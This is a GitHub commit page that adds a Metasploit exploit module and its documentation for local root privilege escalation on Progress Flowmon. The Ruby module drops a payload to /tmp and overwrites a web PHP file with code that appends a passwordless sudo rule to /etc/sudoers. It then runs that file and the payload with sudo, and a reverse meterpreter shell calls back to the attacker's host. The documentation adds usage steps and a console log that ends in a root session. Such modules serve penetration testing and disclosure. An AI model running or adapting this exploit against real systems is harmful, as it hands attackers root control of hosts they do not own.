Skip to content

Commit 80ee458

Browse files
jheysel-r7jheysel-r7
committed
Land rapid7#19151, Add Flowmon Priv Esc Feature Module
Privilege escalation module for Progress Flowmon unpatched feature
2 parents 2158f48 + cc7aeb4 commit 80ee458

File tree

2 files changed

+195
-0
lines changed

2 files changed

+195
-0
lines changed

‎documentation/modules/exploit/linux/local/progress_flowmon_sudo_privesc_2024.md

Lines changed: 96 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,96 @@
1+
## Vulnerable Application
2+
Progress Flowmon up to at least version 12.3.2 is vulnerable to local privilege escalation from the
3+
`flowmon` user to `root`. This is possible due to the
4+
flowmon user being able to run several commands with
5+
`sudo`. This module exploits the ability to overwrite a
6+
PHP file and execute it with `sudo` granting full `sudo`
7+
permissions to the `flowmon` user and elevating the
8+
shell to a root shell.
9+
10+
For more details on the vulnerability:
11+
https://rhinosecuritylabs.com/research/cve-2024-2389-in-progress-flowmon/ (privesc methods)
12+
13+
https://support.kemptechnologies.com/hc/en-us/articles/24878235038733-CVE-2024-2389-Flowmon-critical-security-vulnerability
14+
15+
This application is avaiable in cloud marketplaces:
16+
- https://portal.azure.com/#view/Microsoft_Azure_Marketplace/GalleryItemDetailsBladeNopdl/id/progresssoftwarecorporation.flowmon
17+
- https://aws.amazon.com/marketplace/pp/prodview-6phnrhkekuzka
18+
- https://console.cloud.google.com/marketplace/product/flowmon-public/flowmon-collector-for-google-cloud
19+
## Verification Steps
20+
1. Install the application
21+
1. Start msfconsole
22+
1. Gain a session on a Progress Kemp Loadmaster target as the `flowmon` user
23+
1. Do: `use exploits/linux/local/pprogress_flowmon_sudo_privesc_2024`
24+
1. Do: `set SESSION <session>`
25+
1. Do: `set LHOST <your host IP>`
26+
1. Do: `run`
27+
1. You should get a shell as the `root` user.
28+
29+
## Scenarios
30+
31+
### Flowmon 12.2
32+
33+
```
34+
msf6 exploit(linux/local/progress_flowmon_sudo_privesc_2024) > sessions -l
35+
36+
Active sessions
37+
===============
38+
39+
Id Name Type Information Connection
40+
-- ---- ---- ----------- ----------
41+
5 meterpreter x64/linux flowmon @ localhost.localdomain.localdomain 192.168.2.23:4444 -> 192.168.2.26:38328 (192.168.2.26)
42+
43+
msf6 exploit(linux/local/progress_flowmon_sudo_privesc_2024) > show options
44+
45+
Module options (exploit/linux/local/progress_flowmon_sudo_privesc_2024):
46+
47+
Name Current Setting Required Description
48+
---- --------------- -------- -----------
49+
SESSION -1 yes The session to run this module on
50+
WRITABLE_DIR /tmp yes A directory where we can write files
51+
52+
53+
Payload options (linux/x64/meterpreter/reverse_tcp):
54+
55+
Name Current Setting Required Description
56+
---- --------------- -------- -----------
57+
LHOST 192.168.2.23 yes The listen address (an interface may be specified)
58+
LPORT 5555 yes The listen port
59+
60+
61+
Exploit target:
62+
63+
Id Name
64+
-- ----
65+
0 Automatic
66+
67+
68+
69+
View the full module info with the info, or info -d command.
70+
71+
msf6 exploit(linux/local/progress_flowmon_sudo_privesc) > run
72+
73+
[*] Started reverse TCP handler on 192.168.2.23:5555
74+
[*] Running automatic check ("set AutoCheck false" to disable)
75+
[*] Found 2 indicators this is a Progress Flowmon product
76+
[!] The service is running, but could not be validated.
77+
[*] Saving payload as /tmp/.fovaiiazfuhl
78+
[*] Overwriting /var/www/shtml/index.php with payload
79+
[*] Executing sudo to elevate privileges
80+
[*] Transmitting intermediate stager...(126 bytes)
81+
[*] Sending stage (3045380 bytes) to 192.168.2.26
82+
[+] Deleted /tmp/.fovaiiazfuhl
83+
[*] Cleaning up addition to /etc/sudoers
84+
[*] Meterpreter session 9 opened (192.168.2.23:5555 -> 192.168.2.26:33408) at 2024-05-23 16:46:10 -0400
85+
[*] Restoring /var/www/shtml/index.php file contents...
86+
87+
meterpreter > getuid
88+
Server username: root
89+
meterpreter > sysinfo
90+
Computer : localhost.localdomain.localdomain
91+
OS : CentOS 7.9.2009 (Linux 3.10.0-1160.102.1.el7.flowmon.x86_64)
92+
Architecture : x64
93+
BuildTuple : x86_64-linux-musl
94+
Meterpreter : x64/linux
95+
meterpreter >
96+
```

‎modules/exploits/linux/local/progress_flowmon_sudo_privesc_2024.rb

Lines changed: 99 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,99 @@
1+
# This module requires Metasploit: https://metasploit.com/download
2+
# Current source: https://github.com/rapid7/metasploit-framework
3+
##
4+
5+
class MetasploitModule < Msf::Exploit::Local
6+
Rank = ExcellentRanking
7+
8+
include Msf::Exploit::EXE
9+
include Msf::Exploit::FileDropper
10+
include Msf::Post::File
11+
12+
prepend Msf::Exploit::Remote::AutoCheck
13+
14+
def initialize(info = {})
15+
super(
16+
update_info(
17+
info,
18+
'Name' => 'Progress Flowmon Local sudo privilege escalation',
19+
'Description' => %q{
20+
This module abuses a feature of the sudo command on Progress Flowmon.
21+
Certain binary files are allowed to automatically elevate
22+
with the sudo command. This is based off of the file name. This
23+
includes executing a PHP command with a specific file name. If the
24+
file is overwritten with PHP code it can be used to elevate privileges
25+
to root. Progress Flowmon up to at least version 12.3.5 is vulnerable.
26+
},
27+
'Author' => [
28+
'Dave Yesland with Rhino Security Labs',
29+
],
30+
'License' => MSF_LICENSE,
31+
'References' => [
32+
['URL', 'https://rhinosecuritylabs.com/research/cve-2024-2389-in-progress-flowmon/'],
33+
['URL', 'https://support.kemptechnologies.com/hc/en-us/articles/24878235038733-CVE-2024-2389-Flowmon-critical-security-vulnerability']
34+
],
35+
'DisclosureDate' => '2024-03-19',
36+
'Notes' => {
37+
'Stability' => [ CRASH_SAFE ],
38+
'SideEffects' => [ IOC_IN_LOGS, ARTIFACTS_ON_DISK],
39+
'Reliability' => [ REPEATABLE_SESSION ]
40+
},
41+
'SessionTypes' => ['shell', 'meterpreter'],
42+
'Platform' => ['unix', 'linux'],
43+
'Arch' => [ARCH_X86, ARCH_X64],
44+
'Targets' => [['Automatic', {}]],
45+
'Privileged' => true
46+
)
47+
)
48+
register_options([
49+
OptString.new('WRITABLE_DIR', [ true, 'A directory where we can write files', '/tmp' ]),
50+
])
51+
end
52+
53+
def check
54+
score = 0
55+
score += 1 if read_file('/var/www/shtml/index.php')&.include?('FlowMon')
56+
score += 1 if read_file('/var/www/shtml/ui/manifest.json')&.include?('Flowmon Web Interface')
57+
score += 1 if exists?('/var/www/shtml/translate.php')
58+
vprint_status("Found #{score} indicators this is a Progress Flowmon product")
59+
return CheckCode::Detected if score > 0
60+
61+
return CheckCode::Safe
62+
end
63+
64+
def on_new_session(session)
65+
super
66+
print_status('Cleaning up addition to /etc/sudoers')
67+
if session.type.to_s.eql? 'meterpreter'
68+
session.sys.process.execute '/bin/sh', "-c \"sed -i '/^ADMINS ALL=(ALL) NOPASSWD: ALL$/d' /etc/sudoers\""
69+
elsif session.type.to_s.eql? 'shell'
70+
session.shell_command_token 'sed -i \'/^ADMINS ALL=(ALL) NOPASSWD: ALL$/d\' /etc/sudoers'
71+
end
72+
end
73+
74+
def cleanup
75+
super
76+
unless @index_php_contents.blank?
77+
print_status('Restoring /var/www/shtml/index.php file contents...')
78+
file_rm('/var/www/shtml/index.php')
79+
write_file('/var/www/shtml/index.php', @index_php_contents)
80+
end
81+
end
82+
83+
def exploit
84+
@index_php_contents = ''
85+
fail_with(Failure::BadConfig, "#{datastore['WRITABLE_DIR']} is not writable") unless writable?(datastore['WRITABLE_DIR'])
86+
exploit_file = "#{datastore['WRITABLE_DIR']}/.#{Rex::Text.rand_text_alpha_lower(6..12)}"
87+
88+
vprint_status("Saving payload as #{exploit_file}")
89+
write_file(exploit_file, generate_payload_exe)
90+
chmod(exploit_file)
91+
register_file_for_cleanup(exploit_file)
92+
@index_php_contents = read_file('/var/www/shtml/index.php')
93+
print_status('Overwriting /var/www/shtml/index.php with payload')
94+
cmd_exec('echo \'<?php system("echo \\"ADMINS ALL=(ALL) NOPASSWD: ALL\\" >> /etc/sudoers"); ?>\' > /var/www/shtml/index.php;')
95+
print_status('Executing sudo to elevate privileges')
96+
cmd_exec('sudo /usr/bin/php /var/www/shtml/index.php Cli\\:AddNewSource s;')
97+
cmd_exec("sudo '#{exploit_file}'")
98+
end
99+
end

0 commit comments

Comments
 (0)